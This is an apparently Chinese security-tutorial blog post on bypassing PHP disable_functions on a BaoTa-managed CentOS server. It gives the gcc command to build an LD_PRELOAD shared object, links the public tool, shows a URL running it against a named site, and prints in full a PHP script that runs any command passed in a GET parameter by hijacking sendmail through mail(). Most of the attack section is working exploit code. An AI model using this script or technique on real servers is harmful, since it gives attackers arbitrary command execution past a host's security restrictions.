php函数禁用提权,[原创]WEB安全第八章实战篇02 绕过Bypass disable_functions 提权

WEB安全第八章实战篇02 绕过Bypass disable_functions 提权

1.环境

宝塔linux主机

主机系统类型 centos php版本 5.4

lazy.png

2.禁用函数

禁用这些执行命令的函数,导致无法执行命令。

lazy.png

lazy.png

3.绕过方法

劫持函数 劫持共享对象 执行命令

cc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so -ldl

根据目标架构编译成不同版本

编译成x86要加上 -m32

下载地址

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

http://swww.apt999.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.apt999.com/bypass_disablefunc_x64.so

lazy.png

bypass_disablefunc.php

echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "

cmdline: " . $evil_cmdline . "

";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "

output:
" . nl2br(file_get_contents($out_path)) . "

";

unlink($out_path);

?>

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/archives/612

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值